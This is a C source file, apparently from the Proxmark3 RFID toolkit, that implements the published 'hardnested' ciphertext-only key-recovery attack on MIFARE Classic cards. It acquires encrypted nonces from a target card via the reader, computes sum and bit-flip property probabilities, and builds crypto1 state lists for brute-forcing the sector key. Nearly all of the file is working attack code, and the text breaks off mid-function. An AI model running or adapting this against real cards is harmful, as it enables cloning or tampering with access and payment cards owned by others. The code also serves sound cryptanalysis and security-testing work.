1 //-----------------------------------------------------------------------------
2 // Copyright (C) 2015 piwi
4 // This code is licensed to you under the terms of the GNU GPL, version 2 or,
5 // at your option, any later version. See the LICENSE.txt file for the text of
7 //-----------------------------------------------------------------------------
8 // Implements a card only attack based on crypto text (encrypted nonces
9 // received during a nested authentication) only. Unlike other card only
10 // attacks this doesn't rely on implementation errors but only on the
11 // inherent weaknesses of the crypto1 cypher. Described in
12 // Carlo Meijer, Roel Verdult, "Ciphertext-only Cryptanalysis on Hardened
13 // Mifare Classic Cards" in Proceedings of the 22nd ACM SIGSAC Conference on
14 // Computer and Communications Security, 2015
15 //-----------------------------------------------------------------------------
22 #include "proxmark3.h"
26 #include "nonce2key/crapto1.h"
29 // uint32_t test_state_odd = 0;
30 // uint32_t test_state_even = 0;
32 #define CONFIDENCE_THRESHOLD 0.95 // Collect nonces until we are certain enough that the following brute force is successfull
33 #define GOOD_BYTES_REQUIRED 30
36 static const float p_K
[257] = { // the probability that a random nonce has a Sum Property == K
37 0.0290, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
38 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
39 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
40 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
41 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
42 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
43 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
44 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
45 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
46 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
47 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
48 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
49 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
50 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
51 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
52 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
53 0.4180, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
54 0.0602, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
55 0.0489, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
56 0.0119, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
57 0.0934, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
58 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
59 0.0048, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
60 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
61 0.0339, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
62 0.0006, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
63 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
64 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
65 0.0083, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
66 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
67 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
68 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000, 0.0000,
72 typedef struct noncelistentry
{
78 typedef struct noncelist
{
85 noncelistentry_t
*first
;
91 static noncelist_t nonces
[256];
92 static uint8_t best_first_bytes
[256];
93 static uint16_t first_byte_Sum
= 0;
94 static uint16_t first_byte_num
= 0;
95 static uint16_t num_good_first_bytes
= 0;
96 static uint64_t maximum_states
= 0;
97 static uint64_t known_target_key
;
106 #define STATELIST_INDEX_WIDTH 16
107 #define STATELIST_INDEX_SIZE (1<<STATELIST_INDEX_WIDTH)
112 uint32_t *index
[2][STATELIST_INDEX_SIZE
];
113 } partial_indexed_statelist_t
;
122 static partial_indexed_statelist_t partial_statelist
[17];
123 static partial_indexed_statelist_t statelist_bitflip
;
125 static statelist_t
*candidates
= NULL
;
128 static int add_nonce(uint32_t nonce_enc
, uint8_t par_enc
)
130 uint8_t first_byte
= nonce_enc
>> 24;
131 noncelistentry_t
*p1
= nonces
[first_byte
].first
;
132 noncelistentry_t
*p2
= NULL
;
134 if (p1
== NULL
) { // first nonce with this 1st byte
136 first_byte_Sum
+= evenparity32((nonce_enc
& 0xff000000) | (par_enc
& 0x08));
137 // printf("Adding nonce 0x%08x, par_enc 0x%02x, parity(0x%08x) = %d\n",
140 // (nonce_enc & 0xff000000) | (par_enc & 0x08) |0x01,
141 // parity((nonce_enc & 0xff000000) | (par_enc & 0x08));
144 while (p1
!= NULL
&& (p1
->nonce_enc
& 0x00ff0000) < (nonce_enc
& 0x00ff0000)) {
149 if (p1
== NULL
) { // need to add at the end of the list
150 if (p2
== NULL
) { // list is empty yet. Add first entry.
151 p2
= nonces
[first_byte
].first
= malloc(sizeof(noncelistentry_t
));
152 } else { // add new entry at end of existing list.
153 p2
= p2
->next
= malloc(sizeof(noncelistentry_t
));
155 } else if ((p1
->nonce_enc
& 0x00ff0000) != (nonce_enc
& 0x00ff0000)) { // found distinct 2nd byte. Need to insert.
156 if (p2
== NULL
) { // need to insert at start of list
157 p2
= nonces
[first_byte
].first
= malloc(sizeof(noncelistentry_t
));
159 p2
= p2
->next
= malloc(sizeof(noncelistentry_t
));
161 } else { // we have seen this 2nd byte before. Nothing to add or insert.
165 // add or insert new data
167 p2
->nonce_enc
= nonce_enc
;
168 p2
->par_enc
= par_enc
;
170 nonces
[first_byte
].num
++;
171 nonces
[first_byte
].Sum
+= evenparity32((nonce_enc
& 0x00ff0000) | (par_enc
& 0x04));
172 nonces
[first_byte
].updated
= true; // indicates that we need to recalculate the Sum(a8) probability for this first byte
174 return (1); // new nonce added
178 static uint16_t PartialSumProperty(uint32_t state
, odd_even_t odd_even
)
181 for (uint16_t j
= 0; j
< 16; j
++) {
183 uint16_t part_sum
= 0;
184 if (odd_even
== ODD_STATE
) {
185 for (uint16_t i
= 0; i
< 5; i
++) {
186 part_sum
^= filter(st
);
187 st
= (st
<< 1) | ((j
>> (3-i
)) & 0x01) ;
189 part_sum
^= 1; // XOR 1 cancelled out for the other 8 bits
191 for (uint16_t i
= 0; i
< 4; i
++) {
192 st
= (st
<< 1) | ((j
>> (3-i
)) & 0x01) ;
193 part_sum
^= filter(st
);
202 // static uint16_t SumProperty(struct Crypto1State *s)
204 // uint16_t sum_odd = PartialSumProperty(s->odd, ODD_STATE);
205 // uint16_t sum_even = PartialSumProperty(s->even, EVEN_STATE);
206 // return (sum_odd*(16-sum_even) + (16-sum_odd)*sum_even);
210 static double p_hypergeometric(uint16_t N
, uint16_t K
, uint16_t n
, uint16_t k
)
212 // for efficient computation we are using the recursive definition
214 // P(X=k) = P(X=k-1) * --------------------
217 // (N-K)*(N-K-1)*...*(N-K-n+1)
218 // P(X=0) = -----------------------------
219 // N*(N-1)*...*(N-n+1)
221 if (n
-k
> N
-K
|| k
> K
) return 0.0; // avoids log(x<=0) in calculation below
223 // use logarithms to avoid overflow with huge factorials (double type can only hold 170!)
224 double log_result
= 0.0;
225 for (int16_t i
= N
-K
; i
>= N
-K
-n
+1; i
--) {
226 log_result
+= log(i
);
228 for (int16_t i
= N
; i
>= N
-n
+1; i
--) {
229 log_result
-= log(i
);
231 return exp(log_result
);
233 if (n
-k
== N
-K
) { // special case. The published recursion below would fail with a divide by zero exception
234 double log_result
= 0.0;
235 for (int16_t i
= k
+1; i
<= n
; i
++) {
236 log_result
+= log(i
);
238 for (int16_t i
= K
+1; i
<= N
; i
++) {
239 log_result
-= log(i
);
241 return exp(log_result
);
242 } else { // recursion
243 return (p_hypergeometric(N
, K
, n
, k
-1) * (K
-k
+1) * (n
-k
+1) / (k
* (N
-K
-n
+k
)));
249 static float sum_probability(uint16_t K
, uint16_t n
, uint16_t k
)
251 const uint16_t N
= 256;
255 if (k
> K
|| p_K
[K
] == 0.0) return 0.0;
257 double p_T_is_k_when_S_is_K
= p_hypergeometric(N
, K
, n
, k
);
258 double p_S_is_K
= p_K
[K
];
260 for (uint16_t i
= 0; i
<= 256; i
++) {
262 p_T_is_k
+= p_K
[i
] * p_hypergeometric(N
, i
, n
, k
);
265 return(p_T_is_k_when_S_is_K
* p_S_is_K
/ p_T_is_k
);
271 static inline uint_fast8_t common_bits(uint_fast8_t bytes_diff
)
273 static const uint_fast8_t common_bits_LUT
[256] = {
274 8, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
275 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
276 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
277 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
278 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
279 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
280 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
281 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
282 7, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
283 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
284 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
285 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
286 6, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
287 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
288 5, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0,
289 4, 0, 1, 0, 2, 0, 1, 0, 3, 0, 1, 0, 2, 0, 1, 0
292 return common_bits_LUT
[bytes_diff
];
298 // printf("Tests: Partial Statelist sizes\n");
299 // for (uint16_t i = 0; i <= 16; i+=2) {
300 // printf("Partial State List Odd [%2d] has %8d entries\n", i, partial_statelist[i].len[ODD_STATE]);
302 // for (uint16_t i = 0; i <= 16; i+=2) {
303 // printf("Partial State List Even [%2d] has %8d entries\n", i, partial_statelist[i].len[EVEN_STATE]);
306 // #define NUM_STATISTICS 100000
307 // uint32_t statistics_odd[17];
308 // uint64_t statistics[257];
309 // uint32_t statistics_even[17];
310 // struct Crypto1State cs;
311 // time_t time1 = clock();
313 // for (uint16_t i = 0; i < 257; i++) {
314 // statistics[i] = 0;
316 // for (uint16_t i = 0; i < 17; i++) {
317 // statistics_odd[i] = 0;
318 // statistics_even[i] = 0;
321 // for (uint64_t i = 0; i < NUM_STATISTICS; i++) {
322 // cs.odd = (rand() & 0xfff) << 12 | (rand() & 0xfff);
323 // cs.even = (rand() & 0xfff) << 12 | (rand() & 0xfff);
324 // uint16_t sum_property = SumProperty(&cs);
325 // statistics[sum_property] += 1;
326 // sum_property = PartialSumProperty(cs.even, EVEN_STATE);
327 // statistics_even[sum_property]++;
328 // sum_property = PartialSumProperty(cs.odd, ODD_STATE);
329 // statistics_odd[sum_property]++;
330 // if (i%(NUM_STATISTICS/100) == 0) printf(".");
333 // printf("\nTests: Calculated %d Sum properties in %0.3f seconds (%0.0f calcs/second)\n", NUM_STATISTICS, ((float)clock() - time1)/CLOCKS_PER_SEC, NUM_STATISTICS/((float)clock() - time1)*CLOCKS_PER_SEC);
334 // for (uint16_t i = 0; i < 257; i++) {
335 // if (statistics[i] != 0) {
336 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/NUM_STATISTICS);
339 // for (uint16_t i = 0; i <= 16; i++) {
340 // if (statistics_odd[i] != 0) {
341 // printf("probability odd [%2d] = %0.5f\n", i, (float)statistics_odd[i]/NUM_STATISTICS);
344 // for (uint16_t i = 0; i <= 16; i++) {
345 // if (statistics_odd[i] != 0) {
346 // printf("probability even [%2d] = %0.5f\n", i, (float)statistics_even[i]/NUM_STATISTICS);
350 // printf("Tests: Sum Probabilities based on Partial Sums\n");
351 // for (uint16_t i = 0; i < 257; i++) {
352 // statistics[i] = 0;
354 // uint64_t num_states = 0;
355 // for (uint16_t oddsum = 0; oddsum <= 16; oddsum += 2) {
356 // for (uint16_t evensum = 0; evensum <= 16; evensum += 2) {
357 // uint16_t sum = oddsum*(16-evensum) + (16-oddsum)*evensum;
358 // statistics[sum] += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
359 // num_states += (uint64_t)partial_statelist[oddsum].len[ODD_STATE] * partial_statelist[evensum].len[EVEN_STATE] * (1<<8);
362 // printf("num_states = %lld, expected %lld\n", num_states, (1LL<<48));
363 // for (uint16_t i = 0; i < 257; i++) {
364 // if (statistics[i] != 0) {
365 // printf("probability[%3d] = %0.5f\n", i, (float)statistics[i]/num_states);
369 // printf("\nTests: Hypergeometric Probability for selected parameters\n");
370 // printf("p_hypergeometric(256, 206, 255, 206) = %0.8f\n", p_hypergeometric(256, 206, 255, 206));
371 // printf("p_hypergeometric(256, 206, 255, 205) = %0.8f\n", p_hypergeometric(256, 206, 255, 205));
372 // printf("p_hypergeometric(256, 156, 1, 1) = %0.8f\n", p_hypergeometric(256, 156, 1, 1));
373 // printf("p_hypergeometric(256, 156, 1, 0) = %0.8f\n", p_hypergeometric(256, 156, 1, 0));
374 // printf("p_hypergeometric(256, 1, 1, 1) = %0.8f\n", p_hypergeometric(256, 1, 1, 1));
375 // printf("p_hypergeometric(256, 1, 1, 0) = %0.8f\n", p_hypergeometric(256, 1, 1, 0));
377 // struct Crypto1State *pcs;
378 // pcs = crypto1_create(0xffffffffffff);
379 // printf("\nTests: for key = 0xffffffffffff:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
380 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
381 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
382 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
383 // best_first_bytes[0],
385 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
386 // //test_state_odd = pcs->odd & 0x00ffffff;
387 // //test_state_even = pcs->even & 0x00ffffff;
388 // crypto1_destroy(pcs);
389 // pcs = crypto1_create(0xa0a1a2a3a4a5);
390 // printf("Tests: for key = 0xa0a1a2a3a4a5:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
391 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
392 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
393 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
394 // best_first_bytes[0],
396 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
397 // //test_state_odd = pcs->odd & 0x00ffffff;
398 // //test_state_even = pcs->even & 0x00ffffff;
399 // crypto1_destroy(pcs);
400 // pcs = crypto1_create(0xa6b9aa97b955);
401 // printf("Tests: for key = 0xa6b9aa97b955:\nSum(a0) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
402 // SumProperty(pcs), pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
403 // crypto1_byte(pcs, (cuid >> 24) ^ best_first_bytes[0], true);
404 // printf("After adding best first byte 0x%02x:\nSum(a8) = %d\nodd_state = 0x%06x\neven_state = 0x%06x\n",
405 // best_first_bytes[0],
407 // pcs->odd & 0x00ffffff, pcs->even & 0x00ffffff);
408 //test_state_odd = pcs->odd & 0x00ffffff;
409 //test_state_even = pcs->even & 0x00ffffff;
410 // crypto1_destroy(pcs);
414 // printf("\nTests: number of states with BitFlipProperty: %d, (= %1.3f%% of total states)\n", statelist_bitflip.len[0], 100.0 * statelist_bitflip.len[0] / (1<<20));
416 printf("\nTests: Actual BitFlipProperties odd/even:\n");
417 for (uint16_t i
= 0; i
< 256; i
++) {
418 printf("[%02x]:%c ", i
, nonces
[i
].BitFlip
[ODD_STATE
]?'o':nonces
[i
].BitFlip
[EVEN_STATE
]?'e':' ');
424 printf("\nTests: Sorted First Bytes:\n");
425 for (uint16_t i
= 0; i
< 256; i
++) {
426 uint8_t best_byte
= best_first_bytes
[i
];
427 printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c\n",
428 //printf("#%03d Byte: %02x, n = %3d, k = %3d, Sum(a8): %3d, Confidence: %5.1f%%, Bitflip: %c, score1: %1.5f, score2: %1.0f\n",
430 nonces
[best_byte
].num
,
431 nonces
[best_byte
].Sum
,
432 nonces
[best_byte
].Sum8_guess
,
433 nonces
[best_byte
].Sum8_prob
* 100,
434 nonces
[best_byte
].BitFlip
[ODD_STATE
]?'o':nonces
[best_byte
].BitFlip
[EVEN_STATE
]?'e':' '
435 //nonces[best_byte].score1,
436 //nonces[best_byte].score2
440 // printf("\nTests: parity performance\n");
441 // time_t time1p = clock();
442 // uint32_t par_sum = 0;
443 // for (uint32_t i = 0; i < 100000000; i++) {
444 // par_sum += parity(i);
446 // printf("parsum oldparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
450 // for (uint32_t i = 0; i < 100000000; i++) {
451 // par_sum += evenparity32(i);
453 // printf("parsum newparity = %d, time = %1.5fsec\n", par_sum, (float)(clock() - time1p)/CLOCKS_PER_SEC);
459 static void sort_best_first_bytes(void)
461 // sort based on probability for correct guess
462 for (uint16_t i
= 0; i
< 256; i
++ ) {
464 float prob1
= nonces
[i
].Sum8_prob
;
465 float prob2
= nonces
[best_first_bytes
[0]].Sum8_prob
;
466 while (prob1
< prob2
&& j
< i
) {
467 prob2
= nonces
[best_first_bytes
[++j
]].Sum8_prob
;
470 for (uint16_t k
= i
; k
> j
; k
--) {
471 best_first_bytes
[k
] = best_first_bytes
[k
-1];
474 best_first_bytes
[j
] = i
;
477 // determine how many are above the CONFIDENCE_THRESHOLD
478 uint16_t num_good_nonces
= 0;
479 for (uint16_t i
= 0; i
< 256; i
++) {
480 if (nonces
[best_first_bytes
[i
]].Sum8_prob
> CONFIDENCE_THRESHOLD
) {
485 uint16_t best_first_byte
= 0;
487 // select the best possible first byte based on number of common bits with all {b'}
488 // uint16_t max_common_bits = 0;
489 // for (uint16_t i = 0; i < num_good_nonces; i++) {
490 // uint16_t sum_common_bits = 0;
491 // for (uint16_t j = 0; j < num_good_nonces; j++) {
493 // sum_common_bits += common_bits(best_first_bytes[i],best_first_bytes[j]);
496 // if (sum_common_bits > max_common_bits) {
497 // max_common_bits = sum_common_bits;
498 // best_first_byte = i;
502 // select best possible first byte {b} based on least likely sum/bitflip property
504 for (uint16_t i
= 0; i
< num_good_nonces
; i
++ ) {
505 uint16_t sum8
= nonces
[best_first_bytes
[i
]].Sum8_guess
;
506 float bitflip_prob
= 1.0;
507 if (nonces
[best_first_bytes
[i
]].BitFlip
[ODD_STATE
] || nonces
[best_first_bytes
[i
]].BitFlip
[EVEN_STATE
]) {
508 bitflip_prob
= 0.09375;
510 nonces
[best_first_bytes
[i
]].score1
= p_K
[sum8
] * bitflip_prob
;
511 if (p_K
[sum8
] * bitflip_prob
<= min_p_K
) {
512 min_p_K
= p_K
[sum8
] * bitflip_prob
;
517 // use number of commmon bits as a tie breaker
518 uint16_t max_common_bits
= 0;
519 for (uint16_t i
= 0; i
< num_good_nonces
; i
++) {
520 float bitflip_prob
= 1.0;
521 if (nonces
[best_first_bytes
[i
]].BitFlip
[ODD_STATE
] || nonces
[best_first_bytes
[i
]].BitFlip
[EVEN_STATE
]) {
522 bitflip_prob
= 0.09375;
524 if (p_K
[nonces
[best_first_bytes
[i
]].Sum8_guess
] * bitflip_prob
== min_p_K
) {
525 uint16_t sum_common_bits
= 0;
526 for (uint16_t j
= 0; j
< num_good_nonces
; j
++) {
527 sum_common_bits
+= common_bits(best_first_bytes
[i
] ^ best_first_bytes
[j
]);
529 nonces
[best_first_bytes
[i
]].score2
= sum_common_bits
;
530 if (sum_common_bits
> max_common_bits
) {
531 max_common_bits
= sum_common_bits
;
537 // swap best possible first byte to the pole position
538 uint16_t temp
= best_first_bytes
[0];
539 best_first_bytes
[0] = best_first_bytes
[best_first_byte
];
540 best_first_bytes
[best_first_byte
] = temp
;
545 static uint16_t estimate_second_byte_sum(void)
548 for (uint16_t first_byte
= 0; first_byte
< 256; first_byte
++) {
549 float Sum8_prob
= 0.0;
551 if (nonces
[first_byte
].updated
) {
552 for (uint16_t sum
= 0; sum
<= 256; sum
++) {
553 float prob
= sum_probability(sum
, nonces
[first_byte
].num
, nonces
[first_byte
].Sum
);
554 if (prob
> Sum8_prob
) {
559 nonces
[first_byte
].Sum8_guess
= Sum8
;
560 nonces
[first_byte
].Sum8_prob
= Sum8_prob
;
561 nonces
[first_byte
].updated
= false;
565 sort_best_first_bytes();
567 uint16_t num_good_nonces
= 0;
568 for (uint16_t i
= 0; i
< 256; i
++) {
569 if (nonces
[best_first_bytes
[i
]].Sum8_prob
> CONFIDENCE_THRESHOLD
) {
574 return num_good_nonces
;
578 static int read_nonce_file(void)
580 FILE *fnonces
= NULL
;
584 uint32_t nt_enc1
, nt_enc2
;
586 int total_num_nonces
= 0;
588 if ((fnonces
= fopen("nonces.bin","rb")) == NULL
) {
589 PrintAndLog("Could not open file nonces.bin");
593 PrintAndLog("Reading nonces from file nonces.bin...");
594 if (fread(read_buf
, 1, 6, fnonces
) == 0) {
595 PrintAndLog("File reading error.");
599 cuid
= bytes_to_num(read_buf
, 4);
600 trgBlockNo
= bytes_to_num(read_buf
+4, 1);
601 trgKeyType
= bytes_to_num(read_buf
+5, 1);
603 while (fread(read_buf
, 1, 9, fnonces
) == 9) {
604 nt_enc1
= bytes_to_num(read_buf
, 4);
605 nt_enc2
= bytes_to_num(read_buf
+4, 4);
606 par_enc
= bytes_to_num(read_buf
+8, 1);
607 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
608 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
609 add_nonce(nt_enc1
, par_enc
>> 4);
610 add_nonce(nt_enc2
, par_enc
& 0x0f);
611 total_num_nonces
+= 2;
614 PrintAndLog("Read %d nonces from file. cuid=%08x, Block=%d, Keytype=%c", total_num_nonces
, cuid
, trgBlockNo
, trgKeyType
==0?'A':'B');
620 static void Check_for_FilterFlipProperties(void)
622 printf("Checking for Filter Flip Properties...\n");
624 for (uint16_t i
= 0; i
< 256; i
++) {
625 nonces
[i
].BitFlip
[ODD_STATE
] = false;
626 nonces
[i
].BitFlip
[EVEN_STATE
] = false;
629 for (uint16_t i
= 0; i
< 256; i
++) {
630 uint8_t parity1
= (nonces
[i
].first
->par_enc
) >> 3; // parity of first byte
631 uint8_t parity2_odd
= (nonces
[i
^0x80].first
->par_enc
) >> 3; // XOR 0x80 = last bit flipped
632 uint8_t parity2_even
= (nonces
[i
^0x40].first
->par_enc
) >> 3; // XOR 0x40 = second last bit flipped
634 if (parity1
== parity2_odd
) { // has Bit Flip Property for odd bits
635 nonces
[i
].BitFlip
[ODD_STATE
] = true;
636 } else if (parity1
== parity2_even
) { // has Bit Flip Property for even bits
637 nonces
[i
].BitFlip
[EVEN_STATE
] = true;
643 static int acquire_nonces(uint8_t blockNo
, uint8_t keyType
, uint8_t *key
, uint8_t trgBlockNo
, uint8_t trgKeyType
, bool nonce_file_write
, bool slow
)
645 clock_t time1
= clock();
646 bool initialize
= true;
647 bool field_off
= false;
648 bool finished
= false;
649 bool filter_flip_checked
= false;
651 uint8_t write_buf
[9];
652 uint32_t total_num_nonces
= 0;
653 uint32_t next_fivehundred
= 500;
654 uint32_t total_added_nonces
= 0;
655 FILE *fnonces
= NULL
;
658 printf("Acquiring nonces...\n");
660 clearCommandBuffer();
664 flags
|= initialize
? 0x0001 : 0;
665 flags
|= slow
? 0x0002 : 0;
666 flags
|= field_off
? 0x0004 : 0;
667 UsbCommand c
= {CMD_MIFARE_ACQUIRE_ENCRYPTED_NONCES
, {blockNo
+ keyType
* 0x100, trgBlockNo
+ trgKeyType
* 0x100, flags
}};
668 memcpy(c
.d
.asBytes
, key
, 6);
672 if (field_off
) finished
= true;
675 if (!WaitForResponseTimeout(CMD_ACK
, &resp
, 3000)) return 1;
676 if (resp
.arg
[0]) return resp
.arg
[0]; // error during nested_hard
679 // PrintAndLog("Acquiring nonces for CUID 0x%08x", cuid);
680 if (nonce_file_write
&& fnonces
== NULL
) {
681 if ((fnonces
= fopen("nonces.bin","wb")) == NULL
) {
682 PrintAndLog("Could not create file nonces.bin");
685 PrintAndLog("Writing acquired nonces to binary file nonces.bin");
686 num_to_bytes(cuid
, 4, write_buf
);
687 fwrite(write_buf
, 1, 4, fnonces
);
688 fwrite(&trgBlockNo
, 1, 1, fnonces
);
689 fwrite(&trgKeyType
, 1, 1, fnonces
);
694 uint32_t nt_enc1
, nt_enc2
;
696 uint16_t num_acquired_nonces
= resp
.arg
[2];
697 uint8_t *bufp
= resp
.d
.asBytes
;
698 for (uint16_t i
= 0; i
< num_acquired_nonces
; i
+=2) {
699 nt_enc1
= bytes_to_num(bufp
, 4);
700 nt_enc2
= bytes_to_num(bufp
+4, 4);
701 par_enc
= bytes_to_num(bufp
+8, 1);
703 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc1, par_enc >> 4);
704 total_added_nonces
+= add_nonce(nt_enc1
, par_enc
>> 4);
705 //printf("Encrypted nonce: %08x, encrypted_parity: %02x\n", nt_enc2, par_enc & 0x0f);
706 total_added_nonces
+= add_nonce(nt_enc2
, par_enc
& 0x0f);
709 if (nonce_file_write
) {
710 fwrite(bufp
, 1, 9, fnonces
);
716 total_num_nonces
+= num_acquired_nonces
;
719 if (first_byte_num
== 256 ) {
720 // printf("first_byte_num = %d, first_byte_Sum = %d\n", first_byte_num, first_byte_Sum);
721 if (!filter_flip_checked
) {
722 Check_for_FilterFlipProperties();
723 filter_flip_checked
= true;
725 num_good_first_bytes
= estimate_second_byte_sum();
726 if (total_num_nonces
> next_fivehundred
) {
727 next_fivehundred
= (total_num_nonces
/500+1) * 500;
728 printf("Acquired %5d nonces (%5d with distinct bytes 0 and 1). Number of bytes with probability for correctly guessed Sum(a8) > %1.1f%%: %d\n",
731 CONFIDENCE_THRESHOLD
* 100.0,
732 num_good_first_bytes
);
734 if (num_good_first_bytes
>= GOOD_BYTES_REQUIRED
) {
735 field_off
= true; // switch off field with next SendCommand and then finish
740 if (!WaitForResponseTimeout(CMD_ACK
, &resp
, 3000)) return 1;
741 if (resp
.arg
[0]) return resp
.arg
[0]; // error during nested_hard
749 if (nonce_file_write
) {
753 PrintAndLog("Acquired a total of %d nonces in %1.1f seconds (%0.0f nonces/minute)",
755 ((float)clock()-time1
)/CLOCKS_PER_SEC
,
756 total_num_nonces
*60.0*CLOCKS_PER_SEC
/((float)clock()-time1
));
762 static int init_partial_statelists(void)
764 const uint32_t sizes_odd
[17] = { 126757, 0, 18387, 0, 74241, 0, 181737, 0, 248801, 0, 182033, 0, 73421, 0, 17607, 0, 125601 };
765 const uint32_t sizes_even
[17] = { 125723, 0, 17867, 0, 74305, 0, 178707, 0, 248801, 0, 185063, 0, 73356, 0, 18127, 0, 126634 };
767 printf("Allocating memory for partial statelists...\n");
768 for (odd_even_t odd_even
= EVEN_STATE
; odd_even
<= ODD_STATE
; odd_even
++) {
769 for (uint16_t i
= 0; i
<= 16; i
+=2) {
770 partial_statelist
[i
].len
[odd_even
] = 0;
771 uint32_t num_of_states
= odd_even
== ODD_STATE
? sizes_odd
[i
] : sizes_even
[i
];
772 partial_statelist
[i
].states
[odd_even
] = malloc(sizeof(uint32_t) * num_of_states
);
773 if (partial_statelist
[i
].states
[odd_even
] == NULL
) {
774 PrintAndLog("Cannot allocate enough memory. Aborting");
777 for (uint32_t j
= 0; j
< STATELIST_INDEX_SIZE
; j
++) {
778 partial_statelist
[i
].index
[odd_even
][j
] = NULL
;
783 printf("Generating partial statelists...\n");
784 for (odd_even_t odd_even
= EVEN_STATE
; odd_even
<= ODD_STATE
; odd_even
++) {
786 uint32_t num_of_states
= 1<<20;
787 for (uint32_t state
= 0; state
< num_of_states
; state
++) {
788 uint16_t sum_property
= PartialSumProperty(state
, odd_even
);
789 uint32_t *p
= partial_statelist
[sum_property
].states
[odd_even
];
790 p
+= partial_statelist
[sum_property
].len
[odd_even
];
792 partial_statelist
[sum_property
].len
[odd_even
]++;
793 uint32_t index_mask
= (STATELIST_INDEX_SIZE
